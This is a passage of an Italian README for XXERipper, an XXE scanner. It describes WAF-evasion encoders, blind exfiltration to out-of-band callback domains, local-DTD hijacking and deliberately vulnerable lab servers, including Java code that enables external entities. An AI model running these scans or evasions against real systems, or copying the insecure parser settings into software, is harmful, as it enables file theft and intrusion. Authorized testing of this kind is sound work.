| `whitespace_pad` | 512 spazi inseriti nella dichiarazione XML | XML permette spazi bianchi arbitrari tra gli pseudo-attributi della dichiarazione. I WAF che ispezionano solo i primi N byte del body vedono una dichiarazione riempita e non raggiungono mai il DOCTYPE. |
| `doctype_closure` | Commento esca dopo `]>` | Alcuni WAF analizzano il DOCTYPE per individuarne la fine, poi ispezionano il resto. Inserire un commento XML dopo `]>` può indurre quel parser a un'uscita anticipata che salta le dichiarazioni delle entità. Il parser XML ignora il commento. |
| `pe_stager` | Dichiarazione dell'entità riscritta come catena di parameter-entity | I WAF vedono `<!ENTITY % stage "…"` e `%stage;` ma mai l'URI `SYSTEM "file://…"` in una singola dichiarazione. Il parser espande `%stage`, che dichiara l'entità reale. Funziona su qualsiasi parser che permette parameter entity nel sottoinsieme interno — Xerces e .NET out of the box; libxml2 solo se la restrizione sugli internal-PE è stata rimossa in fase di build. |
Gli encoder il cui output è identico byte per byte all'input su un dato payload vengono saltati (nessuna richiesta inviata). Viene generato un finding per ogni combinazione (payload × encoder) sopravvissuta come `XXE-WAF-BYPASS-<ENCODER>` (o `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>` per le famiglie OOB), oppure, per le famiglie OOB, solo quando arriva un callback correlato.```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
--oob-auto
# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ebcdic --bypass-waf-include-custom
Ordinamento delle fasi. La fase di bypass del WAF viene eseguita dopo le fasi principali, non prima. Un target che risponde a un payload semplice SYSTEM "file://" non ha bisogno di ricevere prima 1.500 varianti codificate — le sonde dirette lo individuano in ~20 richieste, e la scansione codificata è il fallback per quando sono state bloccate. La fase utilizza comunque lo stesso catalogo, produce comunque gli stessi risultati e viene comunque eseguita quando --bypass-waf è impostato; semplicemente non nasconde i risultati diretti dietro la scansione.
Volume di richieste. Un catalogo di ~100 payload × 15 encoder equivale a ~1.500 richieste per target nel caso peggiore. Il budget di tempo reale è l'unico limitatore; la fase controlla la scadenza prima di ogni invio e si interrompe in modo pulito. Per target di grandi dimensioni, preferire un sottoinsieme di encoder denominato rispetto a --bypass-waf all.
xxeripper https://target.com/api/xml
--payload '%p;]>'
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--- line)xxeripper https://target.com/api/xml --payload-file my_payloads.xml
xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/
Ogni file viene testato contro ogni file target. I risultati sono attribuiti come `XXE-CUSTOM-<filename>`. I payload personalizzati passano attraverso lo stesso helper OOB delle fasi integrate, quindi i loro sottodomini ed etichette di tecnica compaiono nella checklist `[OOB]` (modalità manuale) o attivano callback correlati (modalità automatica).
**Cookie e integrazione Burp:** la priorità dei cookie è inline > file cookie > richiesta Burp. Sono supportati sia il formato Netscape-jar che `key=value`. Le richieste Burp preservano il metodo e gli header end-to-end; gli header hop-by-hop e `Cookie`/`Content-Type` gestiti dallo scanner non vengono inoltrati. Lo schema è derivato dall'header `Host`, dalla riga della versione HTTP e da qualsiasi header `X-Forwarded-Proto` / `Forwarded` / `:scheme` che la richiesta porta con sé. 443/8443/9443/10443/6443/7443/4443 → HTTPS; 80/8000/8008/8080/8088/8888 → HTTP; porte sconosciute e richieste HTTP/2 → HTTPS per impostazione predefinita. Gli host IPv6 vengono analizzati correttamente.
**Replay pre-auth:** `--pre-auth-request FILE` accetta una richiesta in formato Burp, la riproduce una volta contro il target prima della cattura del baseline e unisce qualsiasi header `Set-Cookie` nel jar. Ripetere il flag riproduce più richieste in ordine, quindi funziona un flusso a due passaggi (recupero del token CSRF, poi POST delle credenziali). I cookie di ogni replay sono disponibili per la richiesta successiva nella sequenza.
**Bypass WAF con i custom:** `--bypass-waf-include-custom` estende lo sweep dell'encoder ai payload dell'utente. I custom che fanno riferimento a `{CALLBACK}` o `{DOMAIN}` vengono saltati (un payload OOB codificato non può essere correlato attraverso un placeholder).
---
## Formati di Output
### JSON (schema 1.1)```json
{
"schema_version": "1.1",
"tool": "XXE-Ripper",
"summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
"results": [{
"url": "https://target.com/api/xml",
"parser_fingerprint": "libxml2",
"findings": [{
"id": "XXE-INBAND-FILE-READ-linux-passwd",
"severity": "CRITICAL",
"title": "In-band XXE file read: /etc/passwd",
"confirmed": true,
"exploitability": "confirmed",
"cwe": ["CWE-611", "CWE-200"],
"cwe_descriptions": ["...", "..."],
"confidence": 85,
"evidence": {
"file_type": "/etc/passwd",
"indicators_matched": 4,
"score": 85,
"loot_id": "file:9a1c...",
"extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
},
"reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
}],
"loot": [{
"id": "file:9a1c...",
"kind": "file",
"source_path": "/etc/passwd",
"technique": "XXE-INBAND-FILE-READ-linux-passwd",
"content": "root:x:0:0:...",
"size": 2841,
"sha256": "...",
"credentials": []
}],
"loot_counts": { "total": 1, "files": 1, "secrets": 0 },
"oob_payloads_sent": 7,
"oob_subdomains": ["xxe-dns-...oast.pro"],
"oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
}]
}
Il campo interno skipped_phases viene rimosso dal JSON serializzato — è una registrazione contabile per il report di copertura del terminale, non un finding.
Ogni ID di finding diventa una regola SARIF con helpUri che punta alla definizione CWE primaria. Ogni finding diventa un risultato il cui artifactLocation.uri è l'URL di destinazione. I campi extra (confidence, cwe, reasons, evidence) viaggiano in result.properties. Mappatura della severità: CRITICAL/HIGH → error, MEDIUM → warning, LOW/INFO → note.
--report-html PATH scrive un singolo file HTML autonomo. Nessun link CDN, nessuna immagine esterna, nessun webfont. Si apre in qualsiasi browser, viene renderizzato in modo identico offline e si stampa in modo pulito.
Sezioni:
La console web serve lo stesso report HTML inline su /api/jobs/<jid>/report.html (tramite il pulsante View HTML) e lo scarica da /api/jobs/<jid>/report.html.download (tramite il pulsante HTML).
| Verdetto | Significato |
|---|---|
[VULNERABLE] | Almeno un finding con severità MEDIUM o superiore |
[MANUAL-OOB] | Nessun finding, ma sono stati inviati payload OOB (solo modalità manuale) |
[INFO-ONLY] | Nessun finding, nessun payload OOB, ma almeno una fase è stata saltata |
[OK] | Nulla da segnalare, nulla saltato |
| [1/3] [VULNERABLE] https://target.com/api/xml | |
| Parser: libxml2 | |
| [!] 3 phase(s) skipped: |
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd
---
## Affidabilità e Copertura
| Funzionalità | Comportamento |
|---|---|
| Negoziazione HTTP/2 | `build_session` costruisce un `httpx.Client` con `http2=True`. L'handshake ALPN negozia HTTP/2 dove il server lo supporta, altrimenti ripiega silenziosamente su HTTP/1.1. Nessuna configurazione per target |
| Isolamento per fase | Ogni fase viene eseguita all'interno di `_run_phase`, che cattura qualsiasi eccezione, registra il traceback con `--debug`, emette un evento `phase_error` e continua con la fase successiva |
| Rate limiting | `--rate N` impone un intervallo minimo di `1/N` secondi tra le richieste per target, applicato dall'istanza condivisa `RateLimiter` che ogni percorso di invio consulta. Indipendente da `--threads` |
| Retry e backoff | I fallimenti transitori (`ConnectError`, `RemoteProtocolError`, `ReadError`, `WriteError`, `TimeoutException`) vengono ritentati tre volte con backoff di 0.5s, 0.75s, 1.125s |
| Rispetto di Retry-After | Rispettato su 429 e 503, con limite massimo di 10s |
| Protezione da risposte nulle sugli invii OOB | Un invio fallito salta l'attesa del poll invece di bloccare la scansione |
| Cache delle fingerprint su disco | `~/.cache/xxeripper/fingerprints.json`. Scansioni ripetute dello stesso URL saltano la sequenza di 9 probe. Elimina il file o passa `--no-fingerprint-cache` per invalidare |
| Budget di tempo reale | `--budget SECONDS` — ogni fase controlla `ctx.expired()` prima di ogni invio e interrompe in modo pulito |
| Cancellazione cooperativa | Una chiamata a `ScanContext.cancel()` segnala a ogni fase di fermarsi. La console web espone questo tramite il pulsante **Stop** |
| Toggle TLS | La verifica è disattivata per impostazione predefinita per uso pentest; `--verify-tls` la riattiva |
| Codici di uscita CI | 0 = pulito, 1 = errore di configurazione, 2 = finding pari o superiore a `--fail-on`, 130 = Ctrl-C |
| Findings thread-safe | `add_finding` è protetto da lock e unisce gli ID duplicati sul posto — aumentando la severità, applicando OR su `confirmed`, prendendo `max(confidence)`, unendo motivi ed evidenze — invece di emettere voci duplicate. Ogni unione e ogni nuovo finding emette un evento così la console web si aggiorna in tempo reale |
| Statistiche OOB thread-safe | `OOBClient.stats()` restituisce uno snapshot bloccato così il riepilogo CLI legge una vista coerente anche durante una fase in esecuzione |
| Loot deduplicato | `LootStore.add_file` e `LootStore.add_secret` usano come chiave lo SHA-256 del contenuto. Due finding che recuperano lo stesso file producono una sola voce di loot |
| Report di copertura | Lista di skip per target con motivi leggibili; riepilogo a fine scansione dei target con skip |
| Cache delle fingerprint in CI | Punta `HOME` a una directory di cache persistente per risparmiare 9 richieste per esecuzione. La dimensione della cache è di circa 1 KB per URL |
L'adattatore di retry deliberatamente non ritenta HTTP 500 — i target XXE basati su errori restituiscono 500 di proposito, e ritentare nasconde il segnale.
---
## Integrazione CI/CD
### GitHub Actions```yaml
- name: XXE scan
run: xxeripper "$TARGET_URL" --oob-auto \
--full-file-scan -o results --format both \
--report-html results.html --fail-on high
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with: { sarif_file: results.sarif, category: xxeripper }
- name: Upload HTML report
if: always()
uses: actions/upload-artifact@v4
with: { name: xxe-report, path: results.html }
xxe-scan:
script:
- xxeripper "$TARGET_URL" --oob-auto --full-file-scan
-o report --format both --fail-on medium
- cp report.json gl-sast-report.json
artifacts:
reports: { sast: gl-sast-report.json }
paths: [ report.html ]
when: always
### Memorizzazione in cache delle impronte digitali in CI```yaml
- uses: actions/cache@v4
with:
path: ~/.cache/xxeripper
key: xxeripper-fingerprints-${{ github.ref }}
La dimensione della cache è di circa 1 KB per URL ed è stabile tra le esecuzioni a meno che il parser del target non cambi.
OOB automatico in CI. --oob-auto richiede interactsh-client nel PATH. Sui runner ospitati da GitHub, installalo in uno step di setup:```yaml
Se il tuo ambiente CI blocca il DNS in uscita verso sottodomini arbitrari, usa la modalità manuale con un server Interactsh self-hosted raggiungibile dalla tua pipeline.
**Esfiltrazione cieca in CI.** Perché la pipeline di esfiltrazione produca voci di loot, il runner CI deve essere raggiungibile dal target. Questo di solito significa un runner self-hosted su una rete che il target può raggiungere, oppure `--oob-dtd-dir` combinato con una directory servita esternamente da cui il target può effettuare il fetch. Interactsh da solo non funziona — registra i callback ma non serve contenuti.
---
## Test contro i Lab Inclusi
XXERipper viene distribuito con due lab di test locali che eseguono **parser realmente vulnerabili** sulle stesse configurazioni con cui vengono distribuite le applicazioni in produzione. Non sono mock — ciascuno espone una tecnica specifica così puoi verificare che lo scanner la rilevi correttamente, e ciascuno include endpoint esca per falsi positivi così puoi verificare che *non* generi report eccessivi.
Entrambi i lab si legano a `127.0.0.1` e leggono file locali su richiesta per design. **Non esporli mai a una rete che non possiedi.**
### Inventario dei lab
| Lab | File | Stack | Porta | Cosa dimostra |
|---|---|---|---|---|
| Python | `xxe_lab.py` | Flask + lxml → libxml2, httpx (HTTP/1.1 o HTTP/2 via ALPN) per tutti i fetch di entità in uscita | `127.0.0.1:5000` | 54 endpoint distribuiti su dieci famiglie di tecniche, più controparti sicure per ogni tecnica analizzata e un'API di verdetti per il punteggio automatizzato. Serve HTTP per impostazione predefinita; TLS tramite `--https` / `--autocert` |
| Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | XXE basato su errori, che il libxml2 moderno blocca a livello C |
### Lab Python — `xxe_lab.py`
Installa le dipendenze del lab (isolate dai requisiti dello scanner stesso):```bash
# If you install by hand rather than `make lab`:
pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
Il lab installa httpx[http2] per lo stesso motivo per cui lo fa lo scanner — le richieste in uscita verso entità negoziano HTTP/2 tramite ALPN quando il collector OOB o l'endpoint dei metadati lo supporta, e altrimenti ripiegano silenziosamente su HTTP/1.1. Flask in ingresso è HTTP/1.1 in ogni caso.```bash
make lab
python3 xxe_lab.py
Il lab espone **54 endpoint** distribuiti su tre classi di verdetto: 36 `vuln`, 17 `safe`, 1 `fn` bait.
### TLS
Il lab comunica in HTTP per impostazione predefinita. Tre flag attivano TLS:
| Flag | Comportamento |
|---|---|
| `--https` | Serve tramite TLS. Riutilizza un certificato self-signed in cache se ne esiste uno sotto `$TMPDIR/xxe-lab-certs/`, altrimenti ne genera uno con `openssl`. Riutilizzare il certificato in cache tra i riavvii mantiene stabile qualsiasi fingerprint TLS lato scanner. |
| `--autocert` | Serve tramite TLS con un certificato self-signed **generato al momento**. Esegue sempre `openssl` e sovrascrive il certificato in cache. Implica `--https`. Mutuamente esclusivo con `--cert` / `--key`. |
| `--cert PATH` / `--key PATH` | Serve tramite TLS con una coppia PEM fornita. Entrambi devono essere specificati insieme. |
`--host` e `--port` sovrascrivono l'indirizzo di bind (predefinito `127.0.0.1:5000`); le variabili d'ambiente `FLASK_HOST` e `FLASK_PORT` sono rispettate come valori predefiniti.```bash
python3 xxe_lab.py --autocert --port 8443
# [*] XXE Test Lab v1 on https://127.0.0.1:8443
# [*] TLS cert: /tmp/xxe-lab-certs/cert.pem [generated (fresh)]
# [*] TLS key: /tmp/xxe-lab-certs/key.pem
# [*] Self-signed — scanners must skip cert verification.
Il certificato generato è RSA-2048, valido 365 giorni, CN=127.0.0.1, subjectAltName=IP:127.0.0.1,DNS:localhost — senza passphrase. Richiede openssl nel PATH (OpenSSL 1.1.1+ per -addext). Se hai bisogno di un certificato senza quei vincoli, passa invece --cert / --key.
Il lab ha due modalità di risposta, commutabili per richiesta:
realistic (predefinita) — imita un'applicazione reale. Un Content-Type errato restituisce 415, una forma errata ricade nel parser (gate soft) o restituisce un generico 400 (gate hard). Nessuna fuga di motivazione. Lo scanner deve distinguere "il target ha rifiutato il mio payload" da "il target ha accettato ma non ha risolto" basandosi unicamente sulla forma della risposta.
scoped — la modalità legacy deterministica. Ogni corpo fuori scope restituisce un 200 out of scope: <reason> stabile che non analizza nulla. Opt-in per suite di regressione dove i veti di falsi positivi tra tecniche devono essere esatti.
Sovrascrivi per richiesta con un header o un parametro di query:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic
La precedenza è header > query param > env default (`XXE_LAB_MODE`).
### Gruppi di endpoint
**Vulnerabili senza scope** — accettano qualsiasi XML, eseguono sempre il parsing con il parser vulnerabile:
| Endpoint | Cosa esercita |
|---|---|
| `POST /xml/vulnerable` | Lettura file in-band, matrice content-type, integrità della catena |
| `POST /xml/blind` | Parser silenzioso — risolve le entità, non riflette mai (solo OOB) |
| `POST /xml/error` | Canale di errore — restituisce i traceback del parser |
| `POST /xml/reflect` | Riflette il body grezzo E esegue il parsing — esercita il veto di riflessione |
| `POST /xml/timing` | Attende quando il payload ha un'entità SYSTEM esterna — blind basato sul timing |
**Vettori in-band e di delivery**, **Envelopes**, **Encodings**, **Inclusion**, **Extended fetchers**, **File formats**, **Parameter entity e metadata**, e **Blind OOB** — l'elenco completo degli endpoint è disponibile su <http://127.0.0.1:5000/api/endpoints> o nella UI del lab stesso su <http://127.0.0.1:5000/>.
### Controparti sicure
Ogni endpoint vulnerabile con scope ha una controparte sicura che esegue lo **stesso scope check** ma esegue il parsing con le entità disabilitate e l'accesso alla rete bloccato. La denominazione è meccanica: `/xml/safe-form` rispecchia `/xml/form`, `/xml/safe-xslt` rispecchia `/xml/xslt`, e così via.
Questo design esiste affinché il veto cross-technique sui falsi positivi dello scanner possa essere testato end-to-end. Si consideri la fase form-encoded: lo scanner invia XML form-encoded a ogni target che scansiona. Contro `/xml/form` questo produce un finding se il payload si risolve. Contro `/xml/safe-form` lo stesso payload non dovrebbe produrre nulla. Prima che esistessero le controparti sicure, un target come `/xml/safe` non aveva alcuno scope check sui campi form, quindi il payload form-encoded veniva accettato ed elaborato da un endpoint "sicuro" — un falso positivo che non era colpa dello scanner ma che non era nemmeno distinguibile da uno.
Le controparti sicure chiudono quella falla. Ce ne sono 13:```
/xml/safe-form /xml/safe-query /xml/safe-svg
/xml/safe-saml /xml/safe-soap /xml/safe-multipart
/xml/safe-docx /xml/safe-xinclude /xml/safe-xinclude-xml
/xml/safe-xslt /xml/safe-xsd /xml/safe-xsd-import
/xml/safe-pi
Inoltre, i quattro esche di base che non effettuano alcun controllo di scope:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata
E un'esca per falsi negativi:```
/xml/silent
Uno scanner corretto riporta [OK] su tutti e diciassette. Qualsiasi rilevamento su di essi è un bug dello scanner, non un finding.
Il lab espone GET /api/verdicts, una mappa JSON da "<method> <path>" a uno tra "vuln", "safe", o "fn":```json
{
"POST /xml/vulnerable": "vuln",
"POST /xml/safe": "safe",
"POST /xml/silent": "fn",
...
}
Questo è l'hook per il punteggio automatizzato. Un test harness può catturare i risultati dello scanner per endpoint, confrontarli con la mappa dei verdetti e calcolare precisione e richiamo senza analizzare l'HTML o leggere i metadati degli endpoint.
### Java lab — `xxe_lab.java````bash
java xxe_lab.java
# [*] Java XXE lab on http://127.0.0.1:5001
Endpoint singolo: POST /xml/error. Restituisce parsed ok in caso di successo, oppure XML parse error: <message> in caso di errore — in linea con un'applicazione Java vulnerabile che registra str(e).
Il laboratorio Java rimane necessario per la fase XXE basata su errori. libxml2 2.13 e versioni successive bloccano l'accesso alle DTD esterne per impostazione predefinita, quindi XXE-ERROR-BASED-MALFORMED non può attivarsi contro il laboratorio Python. Xerces consente le entità parametro del sottoinsieme interno e attiva il rilevamento senza alcuna DTD locale. Il laboratorio abilita esplicitamente le funzionalità necessarie:```java
dbf.setFeature("http://xml.org/sax/features/external-general-entities", true);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");
> **Nota:** `ACCESS_EXTERNAL_DTD = ""` (stringa vuota) significa *nega tutto*, non consenti tutto. Usa `"all"` per un parser permissivo.
### Attacco Local-DTD — installare DTD sul target
`error_based_local_dtd` funziona dirottando un DTD che esiste già sul filesystem del target. La lista di payload dello scanner fa riferimento a circa 60 percorsi comuni, ma la tecnica non può attivarsi contro un filesystem in cui nessuno di essi è presente — e lo scanner segnala correttamente nessun risultato in quel caso.
Installa i pacchetti DTD sullo stesso host che esegue il laboratorio Python in modo che la tecnica abbia qualcosa da dirottare:```bash
# Fedora / RHEL / CentOS
sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
# Debian / Ubuntu
sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
# Arch / Manjaro
sudo pacman -S docbook-xml docbook-xsl
Windows include di default i DTD WMI (C:\Windows\System32\wbem\xml\) e i DTD di Office (C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll).
macOS include di default /System/Library/DTDs/PropertyList.dtd e sdef.dtd.
Una nota su libxml2 2.13+. Le versioni moderne di libxml2 hanno ulteriormente irrigidito le regole: un DTD dirottabile deve dichiarare l'entity di parametro per nome, referenziarla al livello superiore e non concatenarsi in moduli con PE annidate proibite. I file docbookx.dtd di DocBook falliscono su libxml2 moderno perché includono dbcentx.mod, che contiene PE annidate proibite. fonts.dtd viene analizzato correttamente ma non dichiara le entity che lo scanner tenta di dirottare.
Questo è il motivo per cui il laboratorio Java è l'ambiente consigliato per dimostrare XXE basato su errori.
Ogni esempio seguente utilizza http://127.0.0.1:5000. Per eseguire le stesse scansioni contro il laboratorio su TLS, avvialo con --autocert (o --https per riutilizzare il certificato in cache) e punta lo scanner a https://127.0.0.1:5000. Lo scanner disabilita la verifica TLS per impostazione predefinita, quindi non è necessario alcun flag lato scanner — un certificato autofirmato funziona senza che --verify-tls venga omesso.```bash
python3 xxe_lab.py --autocert &
xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache
**Opzione A — OOB manuale.** Due terminali:
**Terminale A** — avvia il client OOB e annota il dominio della sessione:```bash
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
Terminal B — esegui il laboratorio e le scansioni:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--timing --unsafe --full-file-scan --no-fingerprint-cache
for p in safe safe-form safe-query safe-svg safe-saml safe-soap
safe-multipart safe-docx safe-xinclude safe-xinclude-xml
safe-xslt safe-xsd safe-xsd-import safe-pi
noise stripped safe-metadata; do
xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache
done
java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache
**Opzione B — OOB automatico.** Un terminale:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable \
--oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
Opzione C — regressione deterministica. Imposta XXE_LAB_MODE=scoped prima di avviare il lab. Ogni richiesta fuori ambito restituisce un corpo identico, quindi il veto di nessun cambiamento dello scanner scatta in modo deterministico e i risultati per endpoint sono riproducibili tra le esecuzioni. Imposta XXE_LAB_NOISE_SEED=1 per rendere riproducibile anche /xml/noise.
Opzione D — esfiltrazione. Per esercitare il percorso di esfiltrazione cieca end-to-end:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
--oob-auto
--oob-listen 127.0.0.1:8888
--oob-public-url http://127.0.0.1:8888
--no-fingerprint-cache
Nella WebUI: avvia la console con `--serve --host 0.0.0.0`, seleziona **Serve DTDs from this WebUI** nel drawer, fornisci l'URL pubblico della WebUI, e lo stesso percorso di exfiltration funziona senza un secondo processo.
### Interpretare le lacune di copertura
La lista di skip per target dello scanner mostra esattamente cosa non è stato testato. Passa il flag indicato per abilitare una fase saltata:```
[!] 4 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
- saml_presig (no SAML-shaped URL segment)
- waf_bypass (no --bypass-waf)
| Fase saltata | Abilita con |
|---|---|
multipart_docx, svg | --svg |
dos | --unsafe |
timing | --timing |
saml_presig | --saml |
waf_bypass | --bypass-waf |
| Qualsiasi fase OOB | --oob-domain o --oob-auto |
| Esfiltrazione cieca | --oob-auto più --oob-listen / --oob-dtd-dir (o il server ospitato dalla WebUI) |
fingerprint | (non passare --no-fingerprint) |
| — (modifica dell'elenco dei file) | --full-file-scan |
Prerequisiti: Python 3.9+, build e hatchling per il packaging Python; makepkg, dpkg-buildpackage/debhelper/dh-python, rpmbuild per i pacchetti di distribuzione.
| Target | Comando | Output |
|---|---|---|
| Wheel e sdist Python | make build | dist/*.whl, dist/*.tar.gz |
| Debian | make deb | dist/xxeripper_*.deb |
| RPM | make rpm | dist/xxeripper-*.rpm |
| Arch | make arch | dist/xxeripper-*.pkg.tar.zst |
| Tutto | make all | Tutti i precedenti |
XXERipper è software libero, distribuito sotto GNU General Public License v3 o successiva. Distribuito senza alcuna garanzia. Consulta https://www.gnu.org/licenses/ per i dettagli.
Copyright (C) 2026 Kamal Khalilov.
XXERipper è destinato esclusivamente a test di sicurezza autorizzati. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non disponi di esplicita autorizzazione scritta per il test. La scansione non autorizzata può violare il CFAA (USA), il Computer Misuse Act (Regno Unito), leggi simili nella tua giurisdizione e i termini di servizio dei provider cloud. Gli autori non sono responsabili per usi impropri e forniscono questo strumento solo per scopi educativi e di test di sicurezza legittimi.
La console web non dispone di autenticazione e non deve essere esposta a reti non attendibili. Mantienila in ascolto su 127.0.0.1 (impostazione predefinita), oppure mettila dietro un reverse proxy autenticato.
Autore: Kamal Khalilov — @kamalx06 · [email protected]
Riconoscimenti: Interactsh di ProjectDiscovery · PortSwigger Web Security Academy · HackTricks · mohemiv (ricerca su XXE basato su errori) · ShadowProbe (ispirazione per il baselining) · CWE di MITRE · SARIF di OASIS · la comunità open-source della sicurezza.
Realizzato con: Python · httpx · Flask · Hatchling · Interactsh · SARIF
XXERipper
Scansiona in modo più intelligente. Report accurati. Resta legale.